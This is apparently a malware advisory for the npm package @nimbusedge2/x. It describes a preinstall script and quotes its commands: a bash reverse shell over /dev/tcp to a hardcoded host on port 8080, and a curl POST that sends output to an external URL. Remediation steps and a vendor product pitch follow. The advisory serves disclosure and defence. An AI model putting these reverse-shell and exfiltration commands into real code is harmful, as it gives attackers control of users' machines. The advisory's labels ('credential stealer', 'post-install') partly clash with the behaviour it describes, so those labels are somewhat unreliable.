Malicious package

@nimbusedge2/xnpm

Advisory published Updated

@nimbusedge2/x is a confirmed malicious npm package (MAL-2026-16305) that steals credentials and exfiltrates sensitive data (malicious version 1.1.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @nimbusedge2/x (npm)

MAL-2026-16305
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall @nimbusedge2/x

What this malware does

package.json declares a preinstall lifecycle script that runs automatically on npm install. The script invokes bash -i >& /dev/tcp/147.93.157.202.nip.io/8080 to open an interactive reverse shell to a hardcoded IP-based host (147.93.157.202 via nip.io) on port 8080, and pipes activity through curl -s -m 5 -X POST --data-binary @- http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php, an install-time cleartext-HTTP beacon to an external endpoint. The reverse shell grants the remote endpoint interactive command execution on the installer's host at install time; the paired POST exfiltrates output to a hardcoded external URL. No legitimate functionality is shipped alongside these actions.

Detection & response playbook

Credential / info stealer
  1. Find it

    Search your lockfiles and build artifacts for @nimbusedge2/x (version 1.1.1).

  2. If you installed it — respond

    @nimbusedge2/x is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If @nimbusedge2/x was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. @nimbusedge2/x on npm has been identified as a malicious package (version 1.1.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Detect & block this

O3 blocks @nimbusedge2/x-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.
